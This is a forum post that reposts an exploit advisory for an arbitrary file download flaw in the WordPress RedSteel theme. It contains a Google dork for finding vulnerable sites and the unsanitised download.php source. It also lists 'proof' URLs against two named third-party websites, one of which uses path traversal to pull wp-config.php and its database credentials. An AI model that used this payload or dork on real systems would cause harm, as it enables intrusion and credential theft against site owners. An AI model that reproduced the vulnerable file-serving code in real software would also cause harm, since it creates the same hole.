Jump to content
Aerosol

WordPress RedSteel Theme File Disclosure

Recommended Posts

Posted

|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
|-------------------------------------------------------------------------|
|[*] Exploit Title: Wordpress RedSteel Theme Arbitrary File Download
Vulnerability
|
|[*] Google Dork: inurl:wp-content/themes/RedSteel
|
|[*] Date : Date: 2015-01-25
|
|[*] Exploit Author: Ashiyane Digital Security Team
|
|[*] Vendor Homepage :
http://www.webdesignlessons.com/redsteel-wordpress-theme/
|
|[*] Tested on: Windows 7
|
|[*] Discovered By : ACC3SS
|
|-------------------------------------------------------------------------|
|
|[*] Location :
[localhost]/wp-content/themes/RedSteel/download.php?file=filename.php
|
|-------------------------------------------------------------------------|download.php
| Vulnerable file : download.php
|
| Vulnerable code :
|
<?php
$file = @$_GET['file'];

$parts = explode('/',$file);
$fileName = $parts[sizeof($parts)-1];

if ((isset($file))&&(file_exists($file))) {
header("Content-type: application/force-download");
header('Content-Disposition: inline; filename="' . $fileName . '"');
header("Content-Transfer-Encoding: Binary");
header("Content-length: ".filesize($file));
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $fileName . '"');
readfile($file);
}


?>

|
|
|
|
|
|
|[*] Proof:
|
|[*]
http://dixonpest.com/wp-content/themes/RedSteel/download.php?file=../../../wp-config.php
|
|[*]
http://rmhctallahassee.org/wp-content/themes/RedSteel/download.php?file=download.php
|
|[*]
|
|
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...